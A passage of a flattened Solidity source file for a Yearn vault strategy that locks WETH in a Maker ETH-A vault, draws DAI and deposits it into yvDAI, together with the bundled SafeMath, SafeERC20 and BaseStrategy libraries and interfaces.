* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: SpotLike
interface SpotLike {
struct Ilk {
address pip;
uint256 mat;
}
function ilks(bytes32) external view returns (Ilk memory);
}
// Part: Uni
interface Uni {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// Part: VatLike
interface VatLike {
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
function can(address, address) external view returns (uint256);
function ilks(bytes32)
external
view
returns (Ilk memory);
function dai(address) external view returns (uint256);
function urns(bytes32, address) external view returns (Urn memory);
function frob(
bytes32,
address,
address,
address,
int256,
int256
) external;
function hope(address) external;
function move(
address,
address,
uint256
) external;
}
// Part: yVault
interface yVault {
function deposit() external;
function deposit(uint256) external;
function withdraw() external;
function withdraw(uint256) external;
function pricePerShare() external view returns (uint256);
}
// Part: DaiJoinLike
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external returns (GemLike);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
// Part: GemJoinLike
interface GemJoinLike {
function dec() external returns (uint256);
function gem() external returns (GemLike);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function apiVersion() external pure returns (string memory);
function withdraw(uint256 shares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.2";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay = 0;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay = 86400; // ~ once a day
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor = 100;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold = 0;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// File: Strategy.sol
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// want = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)
address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
address public auto_line = address(0xC7Bdd1F2B16447dcf3dE045C4a039A60EC2f0ba3);
address public eth_price_oracle = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1);
address public eth_usd_chainlink = address(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // eth-usd.data.eth
address constant public yvdai = address(0x19D3364A399d251E894aC732651be8B0E4e85001);
address constant public uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address constant public sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint constant public DENOMINATOR = 10000;
bytes32 constant public ilk = "ETH-A";
uint public c;
uint public c_safe;
uint public buffer;
uint public cdpId;
address public dex;
constructor(address _vault) public BaseStrategy(_vault) {
minReportDelay = 1 days;
maxReportDelay = 3 days;
profitFactor = 1000;
c = 20000;
c_safe = 40000;
buffer = 500;
dex = sushiswap;
cdpId = ManagerLike(cdp_manager).open(ilk, address(this));
_approveAll();
}
function _approveAll() internal {
want.approve(mcd_join_eth_a, uint(-1));
IERC20(dai).approve(mcd_join_dai, uint(-1));
VatLike(vat).hope(mcd_join_dai);
IERC20(dai).approve(yvdai, uint(-1));
IERC20(dai).approve(uniswap, uint(-1));
IERC20(dai).approve(sushiswap, uint(-1));
}
function name() external view override returns (string memory) {
return "StrategyMakerETHDAIDelegate";
}
function setBorrowCollateralizationRatio(uint _c) external onlyAuthorized {
c = _c;
}
function setWithdrawCollateralizationRatio(uint _c_safe) external onlyAuthorized {
c_safe = _c_safe;
}
function setBuffer(uint _buffer) external onlyAuthorized {
buffer = _buffer;
}
function switchDex(bool isUniswap) external onlyAuthorized {
if (isUniswap) dex = uniswap;
else dex = sushiswap;
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfmVault());
}
function balanceOfWant() public view returns (uint) {
return want.balanceOf(address(this));
}
function balanceOfmVault() public view returns (uint) {
address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
return VatLike(vat).urns(ilk, urnHandler).ink;
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
uint before = want.balanceOf(address(this));
uint v = getUnderlyingDai();
uint d = getTotalDebtAmount();
if (v > d) {
_withdrawDai(v.sub(d));
_swap(IERC20(dai).balanceOf(address(this)));
}
_profit = want.balanceOf(address(this)).sub(before);
uint _total = estimatedTotalAssets();
uint _debt = vault.strategies(address(this)).totalDebt;
if(_total < _debt) _loss = _debt - _total;
uint _losss;
if (_debtOutstanding > 0) {
(_debtPayment, _losss) = liquidatePosition(_debtOutstanding);
}
_loss = _loss.add(_losss);
}
function adjustPosition(uint256 _debtOutstanding) internal override {
JugLike(jug).drip(ilk); // update stability fee rate accumulator
DssAutoLine(auto_line).exec(ilk); // bump available debt ceiling
_deposit();
if (shouldDraw()) draw();
else if (shouldRepay()) repay();
}
function _deposit() internal {
uint _token = want.balanceOf(address(this));
if (_token == 0) return;
uint p = _getPrice();
uint _draw = _token.mul(p).mul(DENOMINATOR).div(c).div(1e18);
_draw = _adjustDrawAmount(_draw);
_lockWETHAndDrawDAI(_token, _draw);
if (_draw == 0) return;
yVault(yvdai).deposit();
}
function _getPrice() internal view returns (uint p) {
(uint _read,) = OSMedianizer(eth_price_oracle).read();
(uint _foresight,) = OSMedianizer(eth_price_oracle).foresight();
p = _foresight < _read ? _foresight : _read;
if (p == 0) return uint(EACAggregatorProxy(eth_usd_chainlink).latestAnswer()).mul(1e10);
}
function _adjustDrawAmount(uint amount) internal view returns (uint _available) {
// adjust max amount of dai available to draw
VatLike.Ilk memory _ilk = VatLike(vat).ilks(ilk);
uint _debt = _ilk.Art.mul(_ilk.rate).add(1e27); // [rad]
if (_debt > _ilk.line) return 0; // avoid Vat/ceiling-exceeded
_available = _ilk.line.sub(_debt).div(1e27);
if (_available.mul(1e27) < _ilk.dust) return 0; // avoid Vat/dust
return _available < amount ? _available : amount;
}
